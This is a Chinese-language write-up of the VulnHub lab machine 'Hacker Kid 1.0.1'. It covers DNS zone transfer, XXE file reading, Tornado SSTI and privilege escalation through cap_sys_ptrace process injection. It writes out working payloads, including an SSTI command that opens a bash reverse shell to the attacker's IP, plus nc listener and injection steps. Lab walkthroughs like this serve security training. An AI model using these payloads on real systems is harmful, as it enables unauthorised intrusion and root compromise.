vulnhub靶场之HACKER KID: 1.0.1
vulnhub靶场之HACKER KID: 1.0.1
靶机:Hacker kid: 1.0.1,下载地址:https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova
考点:xxe漏洞、dns解析、ssti漏洞、cap_sys_ptrace+ep进程注入提权。
靶机登录


发现需要密码
信息收集
ip地址

端口扫描

开放了 53(DNS服务),80(HTTP apache服务) , 9999(HTTP tornado服务)
tornado为python的web框架。

在靶场场景中,80 端口的 Apache 可能提供常规网页(如登录页、静态内容),而 9999 端口的 Tornado 可能运行着需要异步处理的功能(如 API 接口、实时交互页面),两者可能对应不同的漏洞点(如 Apache 的配置漏洞、Tornado 的代码逻辑漏洞等),需分别探测分析。
如果想查看详细信息可以用这个
1 | nmap -sV -A -p- -T4 192.168.23.134 |

同时进行目录扫描


80端口网页访问目录没看到什么比较有用的
不过查看源代码可以发现有提示信息
- 注释内容:
TO DO: Use a GET parameter page_no to view pages.,明确提示需要用page_no这个 GET 参数来访问更多分页(例如?page_no=1?page_no=2)。

介里
我们get传参进去

返回了信息
不知道是不是sql注入
找个字典爆破一下试试



失败了
再尝试一些其他的数字

发现21的时候返回不同

Okay so you want me to speak something ?
I am a hacker kid not a dumb hacker. So i created some subdomains to return back on the server whenever i want!!
Out of my many homes…one such home..one such home for me : hackers.blackhat.local
大概意思就是
“怎么,你是想让我说点什么?
我可是个黑客小孩,又不是笨蛋黑客。所以我建了些子域名,方便我随时回到这台服务器上!
在我众多‘窝点’里…… 有这么一个‘窝’,专门给我留的:hackers.blackhat.local”
(怎么豆包翻译的这么抽象 )
hackers.blackhat.local这个是他的域名
我们尝试使用dig挖掘域名信息
dig信息收集
1.修改 Kali 的 hosts 文件,添加子域名映射
1 | sudo nano /etc/hosts |

1 | 192.168.23.134 hackers.blackhat.local |
刷新dns缓存
1 | sudo nscd -i hosts |
打开域名
1 | http://hackers.blackhat.local/ |

尽量在虚拟机浏览器打开
反正我这里主机的浏览器打不开这个域名
这里利用到的是DNS 区域传输漏洞
DNS 区域传输漏洞
DNS 区域传输(AXFR)是 DNS 服务器之间同步域名解析记录的机制。正常情况下,只有授权的 DNS 服务器才能请求区域传输。但如果 DNS 服务器配置不当,任何主机都能发起 AXFR 请求并获取整个区域的所有解析记录,这就形成了区域传输漏洞。攻击者可通过该漏洞枚举所有子域名、IP 映射等敏感信息,为后续渗透提供攻击面。
利⽤dns的区域传输漏洞查看dns记录,探测到新的域名
axfr 是q-type类型的一种: axfr类型是Authoritative Transfer的缩写,指请求传送 某个区域的全部记录。我们只要欺骗dns服务器发送一个axfr请求过去,如果该dns服务器上存在该漏洞,就会返回所有的解析记录值
1 | dig @192.168.23.134 -t axfr blackhat.local |

发现有一个子域 hackerkid.blackhat.local,将该子域也添加进 hosts 文件里

新的页面
查看源代码

发现可利用的漏洞点(xxe)
抓包尝试利用

很明显的xml格式
1 |
|

带出passwd
/etc/passwd每行代表一个用户,格式为 “用户名:密码占位符:UID:GID:描述:家目录:登录shell”
筛选了只有两个用户 具有 /bin/bash

读取 saket home目录下的 .bashrc 文件
用filter伪协议
1 |
|

解码得到
1 | # enable programmable completion features (you don't need to enable |
拿到账号密码



。。。。。账号要换成saket
页面告诉我们tell me your name.

尝试传参发现回显回来是我们的输入
考虑ssti

存在ssti漏洞

试了一下用fenjing一把梭
但是没能成功
回到手注(注意目标使用的是Tornado 模板引擎而不是jinja2)

列出根目录信息
1 | ?name={{__import__('os').popen('ls /').read()}} |
下意识想去找flag了
但在靶机里面我们要的是shell
所以这里下一步尝试反弹shell
1 | nc -lvnp 1234 |
开始监听1234端口
1 | ?name={{__import__('os').system('bash -c "bash -i >& /dev/tcp/192.168.23.129/1234 0>&1"')}} |
记得要url编码一下
1 | ?name={{__import__('os').system('bash%20-c%20"bash%20-i%20%3E%26%20/dev/tcp/192.168.23.129/1234%200%3E%261"')}} |

成功getshell
提权
考点:Capabilitie 提权
Linux提权之:利用capabilities提权 - f_carey - 博客园
Linux 的 Capabilities 将 root 权限拆分为细粒度的权限集合(如CAP_NET_RAW允许创建原始套接字、CAP_SYS_ADMIN包含系统管理权限等)。若某个程序被错误配置了高权限 Capabilities(如cap_setuid+ep),普通用户可通过该程序提权。
1 | /sbin/getcap -r / 2>/dev/null |

系统中存在一个可利用的 Capabilities 配置:/usr/bin/python2.7 = cap_sys_ptrace+ep,可通过ptrace权限实现提权
(/usr/bin/python2.7 = cap_sys_ptrace+ep 之所以可被利用,核心原因是 cap_sys_ptrace 权限赋予了 python2.7 调试系统中任意进程(包括 root 进程) 的能力,而这种权限可以被滥用为提权通道)
具体利用逻辑(提权流程)
找到一个运行中的 root 进程(如 systemd、sshd、crond 等,这些进程始终以 root 权限运行)。
1 | ps -ef | grep root | grep -v grep | grep -v '\[' | awk '{print $2 "\t" $8}' |
我们选择这个进程继续

复制个脚本
python Capabilities cap_sys_ptrace+ep提权 - 隐念笎 - 博客园
靶机导入脚本
折腾了好久
1 | # 攻击机先把 inject.py 文件下载好,然后使用python开启http服务端口 |

1 | nc 192.168.23.129 5600 |


![“[NewStarCTF 2023 公开赛道]WEEK5--web方向复现记录”](/img/new.jpg)
![“[NewStarCTF 2025]WEEK3--web方向wp”](/img/newstar5.jpg)

